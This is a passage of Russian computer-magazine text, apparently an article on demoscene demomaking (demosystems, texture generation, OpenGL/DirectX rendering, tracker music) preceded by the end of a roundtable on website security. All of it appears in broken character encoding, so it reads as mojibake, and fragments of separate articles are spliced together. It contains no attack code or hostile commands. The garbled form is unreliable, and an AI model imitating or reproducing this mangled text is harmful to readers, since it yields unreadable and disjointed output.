åãî â äóðøëàã. Òàê ÷òî íèêòî íå ìîæåò ÷óâñòâîâàòü ñåáÿ â áåçîïàñíîñòè, ðàçâå ÷òî ïîëüçîâàòåëè Ðûñÿ
(áðàçóçåð Lynx, íå ïóòàòü ñ Linux).

ÂÀËÅÐÈß ÊÊÎÌÈÑÑÀÐÎÂÀ: Î÷åâèäíî, ÷òî çàùèòèòüñÿ íà 100% íè îò ÷åãî íåëüçÿ. È íå ñòîèò èñêàòü
ïîáåäèòåëåé â áîþ õàêåðîâ ñ ïðîãðàììèñòàìè. Íî èñïîëüçîâàíèå ðàçëè÷íûõ ìåòîäîâ áîðüáû ñ ýòèìè
íàïàñòÿìè (ìåòîäîâ, ìåæäó ïðî÷èì, óæå äàâíî âûÿâëåííûõ è ôîðìàëèçîâàííûõ) ïîçâîëèò îáåçîïà-
ñèòü ñàéò åñëè íå íà 100, òî íà 90%. È ýòî óæå íåïëîõî, âåäü ïðîôåññèîíàëüíûõ âçëîìùèêîâ ñðåäè ñî-
âðåìåííîãî õàê-êîíòèíãåíòà ñîâñåì íå ìíîãî.
ÌÈÕÀÈË ÔÔËÅÍÎÂ: Çàùèòèòüñÿ ìîæíî, íî äëÿ ýòîãî íóæíî ïîñòîÿííî äóìàòü î áåçîïàñíîñòè �
âî âðåìÿ ïðîåêòèðîâàíèÿ, ðåàëèçàöèè è âíåäðåíèÿ, à íå êîãäà âçëîìàëè.
ÊÐÈÑ ÊÊÀÑÏÅÐÑÊÈ: 100% ãàðàíòèþ íå äàåò äàæå Ãîññòðàõ. Õîòÿ èäåÿ çàñòðàõîâàòü ñàéò â ñòðàõîâîé
êîìïàíèè íå òàêàÿ óæ è áðåäîâàÿ, êàêîé êàæåòñÿ íà ïåðâûé âçãëÿä. Ïî êðàéíåé ìåðå, â ñëó÷àå àòàêè
êîìïàíèÿ êîìïåíñèðóåò íàíåñåííûé óùåðá. À åñëè ñåðüåçíî, òî âñå ðåøàåò ñëîæíîñòü. Íåñêîëüêî ñî-
òåí ñòðîê ìîæíî ïðîâåðèòü è âäîëü, è ïîïåðåê. Íî òðóäîåìêîñòü ïðîâåðêè êîäà ðàñòåò áûñòðåå åãî
îáúåìà è, íà÷èíàÿ ñ íåêîòîðîãî óðîâíÿ, ñòàíîâèòñÿ ïðàêòè÷åñêè íåâûïîëíèìîé çàäà÷åé, òðåáóþùåé
ãèãàíòñêèõ ðåñóðñîâ. Ñëåäîâàòåëüíî, ëó÷øàÿ çàùèòà � ýòî ïðîñòîòà èñïîëíåíèÿ.
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demo iinternal mmechanics. Ñíà÷àëà äåìû äå-
ìîíñòðèðîâàëè êðóòîñòü ïðîãðàììèðîâàíèÿ è äåëà-
ëèñü, ÷àùå âñåãî, îäíèì èëè äâóìÿ ó÷àñòíèêàìè.
Â íàøå âðåìÿ äåìêè óêàçûâàþò íà êðåàòèâíîñòü àâ-
òîðà è íåñòàíäàðòíîñòü åãî ìûøëåíèÿ. Ñëîæíîñòü
è êîëè÷åñòâî ìåäèàêîíòåíòà â ñîâðåìåííûõ äåìêàõ
äèêòóåò íåîáõîäèìîñòü ðàçäåëÿòü àâòîðîâ íà ïðîã-
ðàììåðà, ìóçûêàíòà, õóäîæíèêà è ìîäåëëåðà.

Ñîâðåìåííûå äåìêè äîñòèãàþò ðàçìåðîâ
20 ìåãàáàéò. Ñïðàøèâàåòñÿ, à íå ïðîùå ëè ïåðåã-
íàòü ñ ïîìîùüþ kkapture âñå ýòî ñ÷àñòüå â òàêîãî
æå ðàçìåðà AVI è ñìîòðåòü íà ëþáîì êîìïüþòåðå
è â ëþáîì ðàçðåøåíèè? Àí íåò! Íè îäèí èç ñóùåñò-
âóþùèõ âèäåîêîäåêîâ íå ñïîñîáåí ïðè ñîïîñòàâè-
ìîì ðàçìåðå ðåçóëüòèðóþùåãî ôàéëà ïåðåäàòü
ïîïèêñåëüíîå êà÷åñòâî êàðòèíêè äåìêè. Áîëåå òî-
ãî, åñëè ïîçâîëÿþò âû÷èñëèòåëüíûå ìîùíîñòè,
òî èçîáðàæåíèå íà ýêðàíå áóäåò ìåíÿòüñÿ íå ñî
ñêîðîñòüþ êëàññè÷åñêèõ AVI'øíûõ 25 êàäðîâ â ñå-
êóíäó, à ñî ñêîðîñòüþ 100 è äàæå 200! Äà, ñàì ôàêò
îñîçíàíèÿ òîãî, ÷òî âñå ýòî äåëàåòñÿ â ðåàëüíîì
âðåìåíè, äîáàâëÿåò äåìêàì ñòîèìîñòè.

íà ÷÷åì ïïèøóòñÿ ääåìêè? Ïåðâûé âîïðîñ ïðè
íàïèñàíèè äåìî, êîòîðûé âñòàåò ïåðåä áîëüøèí-
ñòâîì ëþäåé, ðåøèâøèõ, ÷òî èì ïîðà íàïèñàòü
ñîáñòâåííîå ïðîèçâåäåíèå, � «à íà ÷åì ýòî ïèøåò-
ñÿ?». Äåìû ïèøóòñÿ íà òîì ÿçûêå ïðîãðàììèðîâà-
íèÿ, êîòîðûé áîëåå óäîáåí àâòîðó. ×àùå âñåãî �
íà C/C++ (VC, GNU C). Êîíå÷íî, íå ñòîèò äóìàòü,
÷òî âûáîð, äîñòóïíûé ïðîãðàììèñòó, ýòî «C++
or die». Åäèíñòâåííûé ðåàëüíûé áîíóñ, êîòîðûé ïî-
ëó÷àþò ëþäè, êîòîðûå ïèøóò íà ïðèïëþñíóòîì Ñè
ïåðåä äðóãèìè ÿçûêàìè ïðîãðàììèðîâàíèÿ, ýòî òî,
÷òî ïðèìåðû èç MSDN, Direct-X SDK è ìîðå òóòîðè-

àëîâ íàïèñàíû èìåííî íà ýòîì ÿçûêå. Âñå îñòàëü-
íîå � just rumors. Äðóãèõ îáúåêòèâíûõ ïðè÷èí ïðå-
èìóùåñòâà C/C++ îñîáî è íåò. Íà Delphi, VB èëè äà-
æå íà «ãîëîì» àññåìáëåðå ìîæíî íàïèñàòü àáñî-
ëþòíî òî æå ñàìîå, à òî è ÷òî-íèáóäü ïîêðó÷å
(ñîáñòâåííî, ëþäè òàê è ïîñòóïàþò :-)).

Åùå äåìêè ïèøóòñÿ â äåìîñèñòåìàõ. Äåìîñèñ-
òåìû � ýòî ñïåöèàëèçèðîâàííûå ïðîãðàììû�îáî-
ëî÷êè, êîòîðûå ïîñðåäñòâîì ãðàôè÷åñêîãî èíòåð-
ôåéñà ñîçäàþò ñêðèïòû äåìîê. Òàêèå äåìî-ñèñòåìû
â ðåçóëüòàòå ýêñïîðòèðóþò èñïîëíÿåìûé ôàéë ïëå-
åðà è íàáîð ñêðèïòîâ. Ñàì ñêðèïò ñîäåðæèò èíôîð-
ìàöèþ â ñòèëå «÷òî, êàê è êîãäà ïîêàçûâàòü» è ïîëü-
çîâàòåëüñêèå ìåäèàäàííûå. Äåìîñèñòåìû áûâàþò
î÷åíü ðàçíûå. Äëÿ ðàáîòû ñ êàæäîé èç íèõ òåáå áó-
äåò íåîáõîäèìî ïðî÷èòàòü ìàíóàëû è ðàçîáðàòüñÿ
â òóòîðèàëàõ (ìîæåò, åùå íå ïîçäíî ïî÷èòàòü êíèæ-
êó ïðî C++?). Ñ áîëüøèì îòðûâîì ôóíêöèîíàëüíîñ-
òè è êà÷åñòâà ëèäèðóåò ñèñòåìà Werkkzeug. Ïðîñòî
îáàëäåííàÿ øòóêà (ïðè ïðàâèëüíîì ïðèìåíåíèè :)).
Ñïèñîê ïîääåðæèâàåìûõ ôè÷ ìîæíî ïåðå÷èñëÿòü äî
êîíöà ñòàòüè. Îò äåìîìåéêåðà íå òðåáóåòñÿ íè÷åãî,
êðîìå åãî êðåàòèâà. Äëÿ îöåíêè ìàñøòàáà òðàãåäèè
ñìîòðèì ïîòðÿñàþùóþ ðàáîòó îò Farbrausch � fr-025
(íà ñîîòâåòñòâóþùèõ êàðòèíêàõ).

Ìåæäó ïðî÷èì, íà ñàéòå WZ èìåííî ýòîò ïðî-
åêò ëåæèò â èñõîäíèêàõ è ïîëíîñòüþ äîñòóïåí
äëÿ ñêà÷èâàíèÿ è «êîâûðÿíèÿ»! Ïîëíîöåííûå è «ñú-
åäîáíûå» ðóññêîÿçû÷íûå òóòîðèàëû ïî WZ ïðèòà-
èëèñü íà ñàéòå www.vova4age.narod.ru. Åùå îäíèì
êëàññè÷åñêèì ïðèìåðîì äåìîñèñòåìû ÿâëÿåòñÿ
Moppy Demopaja. Íî, â îòëè÷èå îò WZ, Demopaja íå
òàñêàåò «âñå â îäíîì ôëàêîíå», è òåáå ïðèäåòñÿ
ïûõòåòü è ïèñàòü ñïåöèàëüíûå ïëàãèíû äëÿ òâîèõ
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ääååììîîììååééêêèèííãã >>>>

Ìíå âñåãäà íðàâèëîñü, êîãäà ÈÍÄÓÑÒÐÈß ïåðåõîäèò â ÈÑÊÓÑÑÒÂÎ. 
Ñòðîèòü äîìà, áàíè, ãàðàæè è ïîäâàëû � ýòî ïðàêòè÷íî. Ïèñàòü áàçû äàííûõ 
è òåñò-ñèñòåìû � òîæå íóæíîå è ïðàêòè÷íîå äåëî, çà êîòîðîå, áûâàåò, ïëàòÿò
íåìàëûå äåíüãè. Ïðàâäà, â ýòîì ðàçäåëå ìû íå áóäåì ãîâîðèòü 
î ïðîãðàììèðîâàíèè íà áîëüøîãî äÿäþ. Âìåñòî áàíü ó íàñ òóò áóäóò ðèìñêèå
òåðìû, óñòàâëåííûå ïðåêðàñíûìè ñòàòóÿìè, âìåñòî ïàíåëüíûõ äîìîâ �
Êîëëèçåè, Êîëîññû Ðîäîññêèå è ãðîáíèöû Ìàâñîëà. Èíà÷å ãîâîðÿ, ìû
ðàññêàæåì òåáå î äåìî-ìåéêèíãå.  À óæ ïîñëå òîãî, êàê ÿ ïîãîíÿë íåñêîëüêî
èíòåðåñíûõ äåìîê íà ñâîåì êîìïå (îñîáåííî òó, ðàçìåðîì 64 Êá, ãäå òðåõìåðíàÿ
íåîäåòàÿ äàìà ñîâåðøàåò ïðîãóëêó â àñòðàëüíîì ìèðå), ÿ ïîíÿë, ÷òî èíîãäà ýòî
íå òîëüêî èñêóññòâî, íî è íåìíîãî âîëøåáñòâî :)





ñóïåð-ïóïåð ýôôåêòîâ ñàìîìó (çàòî ðåäàêòîð ñöåí
è ñïëàéíîâ óäîáíûé). Êðîìå ýòîãî, ñîâåòóþ îáðà-
òèòü âíèìàíèå íà äåìîñèñòåìó neon v2 îò ãðóïïû
xplsv è îòå÷åñòâåííûé opensource-ïðîåêò Plasticator.

Åñëè ó òåáÿ åñòü îïûò ïðîãðàììèðîâàíèÿ èëè
ìîðå àìáèöèé è òû ïèøåøü ñâîþ ñàìóþ ïåðâóþ äåì-
êó, òî ñîâåòóþ çàáûòü ïðî âñå ñòîðîííèå äåìîñèñòå-
ìû. Ïèøè âñå ñâîå: òàê òû áûñòðåå îñîçíàåøü, ÷òî
èìåííî òåáå íåîáõîäèìî, íå çàáèâàé ñâîþ ãîëîâó ÷ó-
æèìè áðåäíÿìè � ó òåáÿ ñâîèõ õâàòàåò. Ó ìåíÿ åñòü
ïàðà çíàêîìûõ ëè÷íîñòåé, êîòîðûå óáèâàþò áîëü-
øóþ ÷àñòü âðåìåíè è ñèë íà íàïèñàíèå èíñòðóìåíòà-
ðèÿ è äåìîñèñòåìû, ÷åì ñîáñòâåííî íà ñàìó äåìêó.

ãðàôèêà. Ãðàôèêà â äåìêå ìîæåò áûòü ðàñò-
ðîâîé è âåêòîðíîé. Ðàñòðîâàÿ ãðàôèêà ðèñóåòñÿ
â ðåäàêòîðàõ à-ëÿ Ôîòîøîï, à âîò ñ âåêòîðíîé âñå
íåñêîëüêî ñëîæíåå. Äëÿ õðàíåíèÿ ðàñòðîâîé ãðà-
ôèêè ëþáîãî ñîäåðæàíèÿ íàì õâàòèò PNG è JPG,
à âîò ôîðìàòîâ âåêòîðíîé ãðàôèêè � òüìà, âåäü
êàæäûé ðåäàêòîð ñîõðàíÿåò åå â ñâîåì ôîðìàòå.
Ñòàíäàðòîì äå-ôàêòî ÿâëÿåòñÿ 3Ds. Äëÿ âñåõ îñ-
òàëüíûõ «òÿæåëûõ ñëó÷àåâ» ñóùåñòâóþò ïðîãðàì-
ìû-êîíâåðòîðû âåêòîðíûõ ãðàôè÷åñêèõ ôàéëîâ
(î÷åíü õîðîøèé ïðèìåð � Deep Exploration).

Íî ýòî âñå òåîðèÿ, à íà äåëå ìàòåðûå äåìî-
ìåéêåðû ÷àñòåíüêî áðåçãóþò ñòàíäàðòíûìè ôîð-
ìàòàìè, âûäóìûâàÿ ñâîè. È ïðàâèëüíî äåëàþò! Ýòî
ïîçâîëÿåò äåëàòü êîä áîëåå ãèáêèì, èñïîëüçîâàòü
ëåãêîâåñíûé çàãðóç÷èê è îïòèìèçèðîâàòü äàííûå
ïîä êîíêðåòíûå çàäà÷è.

Çàãðóçèòü ðàñòðîâîå èëè âåêòîðíîå èçîáðà-
æåíèå ìîæíî ñ ïîìîùüþ ðàçëè÷íûõ áèáëèîòåê. Êàê
âàðèàíò � íàïèñàòü ñàìîìó, íî ñòîèò ëè èçîáðå-
òàòü âåëîñèïåä? Íà òîì æå www.sourceforge.net åñòü
ìíîæåñòâî áèáëèîòåê äëÿ çàãðóçêè äàííûõ ëþáûõ
ôîðìàòîâ. È, âñïîìèíàÿ áîÿíèñòóþ ôðàçó íà ÿðëû-
êå ìóæñêîé ðóáàøêè «dry wash only, 40 °C, no bleach,
inside out, no machine washing � OR � just give it to
your wife � it�s her job», âñå îñòàëüíîå ñêèäûâàåì íà
õóäîæíèêà. Ýòî åãî ðàáîòà � ðèñîâàòü è ñîõðàíÿòü
â ïðàâèëüíûé ôîðìàò. Åñëè áóäåò ñîïðîòèâëÿòüñÿ,
òî ïîêàæè åìó, êòî â äîìå õîçÿèí ;).

Âåðøèíîé èñêóññòâà äåìîìåéêèíãà ÿâëÿåòñÿ
ãåíåðàöèÿ èçîáðàæåíèé òåêñòóð èñêëþ÷èòåëüíî
ïîñðåäñòâîì êîäà. Òóò ðå÷ü èäåò íå î ïðîñòûõ ãðà-
äèåíòàõ ñ øóìîì, à èìåííî î ñëîæíûõ èçîáðàæå-
íèÿõ. Îñòàíîâèìñÿ íà ýòîì ìîìåíòå è èäåì ñìîò-
ðåòü 64êá èíòðó Fr-08: The Produkkt (ñîîòâåòñòâóþ-
ùàÿ êàðòèíêà). 

Ñìîòðèì äî ñàìîãî êîíöà è âíèìàòåëüíî âíè-
êàåì â öèôðû â òèòðàõ � âïå÷àòëÿåò! Ðàçîáðàòüñÿ,
êàê ðàáîòàþò ãåíåðàòîðû òåêñòóð, ìîæíî íà îòëè÷-
íîì ïðèìåðå ïðîåêòà Àëåêñàíäðà Êóõàðåíêî (hi,
f0x!) � «Plasticator» (http://plasticator.heroez.net). Âîîá-
ùå ãîâîðÿ, ýòîò ïðîåêò � ïîëíîöåííàÿ îòå÷åñòâåí-
íàÿ äåìîñèñòåìà, íà êîòîðîé áûëè ñäåëàíû ðàçëè÷-
íûå èíòðû è äåìêè, íî íàñ íà äàííîé ñòàäèè áóäåò
èíòåðåñîâàòü òîëüêî òî, êàêèì îáðàçîì ìîæíî ïî-
ëó÷èòü ñëîæíûå ðèñóíêè ïîñðåäñòâîì ìèíèìóìà
êîäà. Êîïàåì èñõîäíèêè, êðóòèì êíîïêè � îñîçíà-
åì how to. Äåëüôèíàì, äà è îñòàëüíûì, ðåêîìåíäó-

åòñÿ ïîñìîòðåòü èíòåðåñíûé ïðîåêò www.ainc.de �
«Texture» 

Îí òàêæå óêîìïëåêòîâàí ñîðöàìè è êðàéíå ïîç-
íàâàòåëåí. Ôóíêöèîíàëüíûå âîçìîæíîñòè, êîíå÷íî,
íå ôîíòàí, ïî ñðàâíåíèþ ñ «Plasticator», íî âñå áîëåå
÷åì ñúåäîáíî. Èñïîëüçîâàíèå ãåíåðèðóåìûõ òåêñòóð
ðàäèêàëüíî èçìåíÿåò ðàçìåð äåìêè íà íîñèòåëå.

êàê ââñå ýýòî ïïîêàçàòü ííà ýýêðàíå? Ïðîöåññ îò-
ðèñîâêè êàðòèíêè íà ýêðàíå íàçûâàåòñÿ ðåíäåðèí-
ãîì. Ðåíäåðèíã ìîæåò áûòü ïðîãðàììíûé (software)
èëè ñ ïîìîùüþ ñðåäñòâ ãðàôè÷åñêèõ áèáëèîòåê
OpenGL / DirectX (hardware accelerated).

Ñîôòâàðíûé ðåíäåð ïîïèêñåëüíî îáðàáàòû-
âàåò êàðòèíêó, èñïîëüçóÿ âû÷èñëèòåëüíûå ìîù-
íîñòè öåíòðàëüíîãî ïðîöåññîðà. Ðàçëè÷àþò îáû÷-
íûé ñîôòâàðíûé ðåíäåð è ðåéòðýéñèíã (raytracing).
Â ïåðâîì ñëó÷àå èçîáðàæåíèå ïîëó÷àåòñÿ ïóòåì
ðàñòåðèçàöèè ïîëèãîíîâ ñ ó÷åòîì îñâåùåíèÿ
è òåêñòóðèðîâàíèÿ ïî òàê íàçûâàåìûì ñêàíëàé-
íàì (scanlines), à âî âòîðîì ñëó÷àå èçîáðàæåíèå
ïîëó÷àåòñÿ ïóòåì ðàñ÷åòà âèðòóàëüíûõ ëó÷åé
ñ ó÷åòîì ôèçèêè îòðàæåíèÿ, ïðåëîìëåíèÿ è îñëàá-

ëåíèÿ ñâåòà. Ïåðâûé ñïîñîá ïîçâîëÿåò ïîëó÷èòü
äîñòàòî÷íî êà÷åñòâåííóþ êàðòèíêó ñ ïðèëè÷íûì
êîëè÷åñòâîì ïîëèãîíîâ, çàòî ðåéòðåéñåð ìîæåò
ñãåíåðèðîâàòü çíà÷èòåëüíî áîëåå ðåàëèñòè÷íóþ
êàðòèíêó ñ ýôôåêòàìè, íåäîñòóïíûìè äàæå ñà-
ìûì-ñàìûì ñîâðåìåííûì âèäåîàêñåëåðàòîðàì.

Äîñòóï ê âîçìîæíîñòÿì âèäåîóñêîðèòåëÿ îñó-
ùåñòâëÿåòñÿ ÷åðåç áèáëèîòåêè OpenGL è DirectX.
Âîçìîæíîñòè ïîñëåäíèõ âåðñèé OpenGL è DirectX áî-
ëåå ÷åì ñðàâíèìû, õîòÿ, ñ ìîåé òî÷êè çðåíèÿ, DirectX
áîëåå programmer-friendly. Îí ïîääåðæèâàåò áîëüøå
ôîðìàòîâ ôàéëîâ, èíòåðôåéñîâ äëÿ ñòðóêòóð äàí-
íûõ. Äîñòóï ê ðàñøèðåííûì ôóíêöèÿì òàêæå çíà÷è-
òåëüíî ïðîùå â DirectX, çàòî OpenGL ÿâëÿåòñÿ
äåéñòâèòåëüíî êðîññïëàòôîðìåííîé áèáëèîòåêîé.
Äîñòóï ê ðàñøèðåííûì ôóíêöèÿì âèäåîóñêîðèòåëÿ â
OpenGL îñóùåñòâëÿåòñÿ ÷åðåç òàê íàçûâàåìûå ðàñ-
øèðåíèÿ, ÷òî çíà÷èòåëüíî óñëîæíÿåò íàïèñàíèå êî-
äà. Õîòÿ âðó. Íå óñëîæíÿåò, à óâåëè÷èâàåò êîëè÷åñò-
âî òåëîäâèæåíèé. Â ìèíóñ API OpenGL âåðñèé íè-
æå 2.0 èäåò òàêæå îòñóòñòâèå âîçìîæíîñòè èñïîëüçî-
âàíèÿ òåêñòóð ðàçìåðà, íå êðàòíîãî ñòåïåíè 2. Äëÿ
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Èíèöèàëèçàöèÿ
ãðàôè÷åñêîé
ïîäñèñòåìû

Çàãðóçêà
Çàãðóçêà

ãëîáàëüíûõ äàííûõ,
ìóçûêè

Ãåíåðàöèÿ
òåêñòóð, ñýìïëîâ,

ãåîìåòðèè

Äîïîëíèòåëüíàÿ
çàãðóçêà äàííûõ

äëÿ êîíêðåòíîé ñöåíû

Îïðåäåëåíèå
òåêóùåãî âðåìåíè
äëÿ äàííîãî êàäðà

Ñ÷èòàåì, êàêèå ñöåíû
íàì íàäî ðèñîâàòü

â ýòîì êàäðå

Ñöåíà, êîòîðàÿ ïðèíèìàåò
ëîêàëüíûé ïàðàìåòð �

ëîêàëüíîå âðåìÿ

Åùå îäíà ñöåíà,
â êîëè÷åñòâå îò 0

äî âàøåé ôàíòàçèè
Êóëüòóðíî óáèðàåì
çà ñîáîé âåñü ìóñîð

âûõîä!

Ìèêøèðóåì
îòðåíäðåííûå ñöåíû,

ïîñòïðîöåññèíã
è ïðî÷èå ðàäîñòè

Öèêë-äèñïåò÷åð
ïðîâåðÿåì êëàâèàòóðó

è âðåìÿ íà òåìó
«íå ïîðà ëè íàì

âûõîäèòü»

Ñõåìà ðåàëèçàöèè



ëþáèòåëåé «õî÷ó âñå è ñðàçó» åñòü òàêèå èçâðàùåíèÿ
êàê SDL (Simple DirectMedia Layer, www.libsdl.org) �
êðîññïëàòôîðìåííàÿ òóëçà, ïîçâîëÿþùàÿ ïèñàòü
ìóëüòèìåäèéíûå ïðèëîæåíèÿ. «Ïðîñòîé äîñòóï
ê ìóëüòèìåäèéíûì âîçìîæíîñòÿì» îáåðíåòñÿ äëÿ
íàñ íåîáõîäèìîñòüþ äîñêîíàëüíî èçó÷èòü íå òîëüêî
API ñàìîãî SDL, íî è OpenGL, è âñåãî îñòàëüíîãî,
ïîñêîëüêó êîãäà-íèáóäü îáÿçàòåëüíî çàõî÷åòñÿ ðà-
çîáðàòüñÿ âî âñåì èçíóòðè ;). Â òàêèå ìîìåíòû òû
äîëæåí äåðæàòü ïîä ðóêîé êíèæå÷êó ïî C++
è OpenGL/DirectX. Âûõîä èç ñèòóàöèè, êîãäà õî÷åòñÿ
âûñîêîãî êà÷åñòâà êàðòèíêè, íî ëåíèâî ðàçáèðàòüñÿ
â òîíêîñòÿõ íèçêîóðîâíåâûõ áèáëèîòåê � ñòîðîííèå
3D-ðåíäåðû. Èõ î÷åíü ìíîãî è îíè âñå î÷åíü ðàçíûå,
íî, êàê ïîêàçûâàåò ïðàêòèêà, â áîëüøèíñòâå ñëó÷àåâ
íàïèñàòü ñîáñòâåííûé äâèæîê äëÿ äåìêè íàìíîãî
ïðîùå è ïåðñïåêòèâíåå, ÷åì òðàòèòü âðåìÿ íà èçó÷å-
íèå óñòðîéñòâà ÷óæîãî êîäà. Òàê ÷òî íàñòîÿòåëüíî ðå-
êîìåíäóþ òåáå ïèñàòü âñå ñâîå. 

Òàêèì îáðàçîì, ìîæíî âûäåëèòü òðè òèïà
ðåíäåðà � êîãäà êîä äåìêè íå çíàåò, ÷åì åãî áóäóò
îòðèñîâûâàòü è îáùàåòñÿ òîëüêî ÷åðåç ïðîñëîéêó
ãðàôè÷åñêîãî äâèæêà; êîãäà ãðàôè÷åñêîãî äâèæêà
íåò êàê òàêîâîãî, íî åñòü íàáîð ñòðóêòóð äàííûõ
è ìåëêèå êóñêè êîäà äëÿ ðàáîòû ñ íèì; è êîãäà âåñü
êîä ïðîðèñîâêè íà óðîâíå API íàõîäèòñÿ ïðÿìî
â êîäå äåìêè. Ïåðâûé ñïîñîá íàèáîëåå ïðàâèëü-
íûé ñ òî÷êè çðåíèÿ ïðîãðàììíîãî ïîäõîäà. Íåîá-
õîäèìà new feature? � äîáàâü îçíà÷åííóþ ôè÷ó
â ñîðöû ðåíäåðà. Âòîðîé ñïîñîá, êîãäà âûçîâû API
íàìåøàíû â êîäå äåìêè ñî âñåì îñòàëüíûì, ïîçâî-
ëÿåò çíà÷èòåëüíî óñêîðèòü ïðîöåññ ðàçðàáîòêè, íî
òðåáóåò íåñêîëüêî áîëüøåé êâàëèôèêàöèè ïðîã-
ðàììèñòà. Òðåòèé ñïîñîá ïðèãîäåí òîëüêî äëÿ òî-
ãî, ÷òîáû ïîêàçàòü, ÷òî îí ñóùåñòâóåò è íå äîëæåí
èñïîëüçîâàòüñÿ � ñëîæíîñòü ðàçðàáîòêè, îãðîì-
íûé ðàçìåð èñõîäíîãî êîäà, � è ýòî òîëüêî íà÷àëî
âíóøèòåëüíîãî ñïèñêà åãî «áîíóñîâ».

Ãðàôè÷åñêèé òóëêèò ëþáîãî äåìîìåéêåðà
äîëæåí âêëþ÷àòü â ñåáÿ êàê ìèíèìóì äîêóìåíòà-
öèþ è ïðèìåðû. Â äàëüíåéøåì òû äîáàâèøü â ýòîò
ñïèñîê ñâîè íàðàáîòêè, ñíèïåòñû è âñå îñòàëüíîå.
Íàñòîÿùåé OpenGL-Ìåêêîé ñòàë ñàéò www.ne-
he.gamedev.net. Ïðîñòûå è ïîíÿòíûå óðîêè è ñòàòüè
(ñ ïîäðîáíûì ïîñòðî÷íûì (!) îïèñàíèåì âñåãî, ÷å-
ãî òîëüêî ìîæíî) ðàäóþò óæå íå ïåðâîå ïîêîëåíèå
êîäåðîâ, à êàæäûé óðîê îò NeHe ìîæíî ðàññìàòðè-
âàòü êàê îòäåëüíóþ ìèíè-äåìêó. Áîëåå òîãî, ïðèìå-

ðû NeHe ïîðòèðîâàíû íà áîëüøîå êîëè÷åñòâî ÿçû-
êîâ ïðîãðàììèðîâàíèÿ. Â èíòåðíåòå ñóùåñòâóåò
òàêæå è ðóññêàÿ âåðñèÿ óðîêîâ NeHe �
http://pmg.org.ru/nehe. Åùå ðåêîìåíäóþ î÷åíü õîðîøèé
ðåñóðñ ñ ìÿñèñòûì èìåíåì õîñòà � http://ultimate-
gameprogramming.com � ñàéò ñîäåðæèò äåéñòâèòåëü-
íî ìíîãî ïðèìåðîâ ïî OpenGL è DirectX. Ïðèìåðû ñ
UGP áîëåå ïðîäâèíóòû, ÷åì íà NeHe � åñòü HDR,
ðàçëè÷íûå Shadows-òåõíîëîãèè, øåéäåðû, ëàéòìà-
ïû, çàãðóçêà ðàçëè÷íûõ ôàéëîâûõ ôîðìàòîâ, äà è
êóëüòóðà êîäà ó ïðèìåðîâ íàìíîãî âûøå. DirectX-
ðàçðàáîò÷èêàì ðåêîìåíäóåòñÿ äåðæàòü ó ñåáÿ íà
äèñêå ñîîòâåòñòâóþùèé SDK, íî åñëè â ãðàôèêå
òû � íà÷èíàþùèé, òî ðàçîáðàòüñÿ â ïðèìåðàõ 8-ãî
èëè 9-ãî SDK ïîíà÷àëó áóäåò î÷åíü ñëîæíî.

ìóçûêà. Äåìà áåç ìóçûêè ýòî� ïîëíûé áðåä!
Ñåé÷àñ ìû ðàññìîòðèì, êàê õðàíèòü ìóçûêó, ÷åì åå
èãðàòü è, âîîáùå, çà÷åì ýòî âñå íàäî.

Òåõíîëîãè÷åñêè ìóçûêà â äåìêàõ áûâàåò
MIDI, ìîäóëüíàÿ, ñèíòåçèðîâàííàÿ èëè ïîòîêîâàÿ.
MIDI-ôîðìàò � îí è â Àôðèêå MIDI. Â äåìêàõ îí èñ-
ïîëüçóåòñÿ â ÷èñòîì âèäå êðàéíå ðåäêî. Ó÷èòûâàÿ,
÷òî åñòü ìíîãî áîëåå ýôôåêòèâíûõ ñïîñîáîâ, ñî-
âåòóþ çàáûòü ïðî íåãî âîîáùå. Íå ñòîèò, êîíå÷íî,
îïóñêàòü MIDI äî óðîâíÿ ãðÿçè, ýòî âñåãî ëèøü ôîð-
ìàò ôàéëà è åãî ìîæíî ïðîèãðàòü ÷åðåç î÷åíü íà-
âîðî÷åííûé ñèíòåçàòîð, ïîëó÷èâ òàêèì îáðàçîì
ïîòðÿñíûé ñàóíä. Íî äëÿ äåìîìåéêèíãà îí íå ïîä-
õîäèò :). Èñòîðè÷åñêè ïåðâûì òèïîì ìóçûêè â äåì-
êàõ áûëè ìóçûêàëüíûå ìîäóëè. Ìîäóëü �
ýòî ôàéë, êîòîðûé õðàíèò âíóòðè ñåáÿ îáðàçöû
çâóêîâ èíñòðóìåíòîâ (ñýìïëû) è íîòû, êîòîðûå íå-
îáõîäèìî ñûãðàòü ýòèìè èíñòðóìåíòàìè. Ìîäóëè
ñîçäàâàëèñü â ñïåöèàëüíûõ ïðîãðàììàõ � òðåêêå-
ðàõ. Òðåêêåð ïðåäñòàâëÿåò ñîáîé ïðîãðàììó, â êî-
òîðîé ìîæíî ðåäàêòèðîâàòü ìîäóëè â âèäå âåðòè-
êàëüíûõ äîðîæåê ñ íîòàìè (ïàòòåðíîâ) è îñóùåñò-
âëÿòü óïðàâëåíèå ñýìïëàìèè è ýôôåêòàìè.

Êëàññè÷åñêèé ìîäóëüíûé ôîðìàò ýòî MOD:
ìîíîôîíè÷åñêèå ñýìïëû ïî 8 áèò è âîçìîæíîñòü
âîñïðîèçâåñòè ìàêñèìóì 4 çâóêà îäíîâðåìåííî.
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Â ×ÅÌ ÕÐÀÍÈÒÜ ÇÂÓÊ 
Â ÄÅÌÊÀÕ?

Ìîäóëü
{+} çàíèìàåò ìàëî ìåñòà. Íå òðåáóåò âûñîêèõ
âû÷èñëèòåëüíûõ ìîùíîñòåé 
{-} ïîäõîäèò òîëüêî äëÿ ÷èñòîé ìóçûêè

Ïîòîê
{+} ëþáîå ñîäåðæàíèå, õîòü 10-ìèíóòíàÿ çàïèñü
÷èõàþùåé áîëüíîé îáåçüÿíû. Íå òðåáîâàòåëåí
ê âû÷èñëèòåëüíûì ðåñóðñàì è ïàìÿòè
{-} âûñîêîå êà÷åñòâî � áîëüøîé ðàçìåð ôàéëà

Ñèíòåçàòîð
{+} èñêëþ÷èòåëüíîå êà÷åñòâî çâóêà, åñëè ðóêè
íå êðèâûå
{-} ñëîæíîñòü ðåàëèçàöèè è çíà÷èòåëüíî áîëåå
âûñîêèå ñèñòåìíûå òðåáîâàíèÿ



Ñîâðåìåííûå ìîäóëüíûå ôîðìàòû ïîçâîëÿþò ïðàê-
òè÷åñêè çàáûòü î òàêèõ ðóäèìåíòàðíûõ îãðàíè÷åíè-
ÿõ ïàðàìåòðîâ ñýìïëîâ è êîëè÷åñòâà âîñïðîèçâîäè-
ìûõ îäíîâðåìåííî êàíàëîâ. Ìîäóëüíàÿ ìóçûêà ïîç-
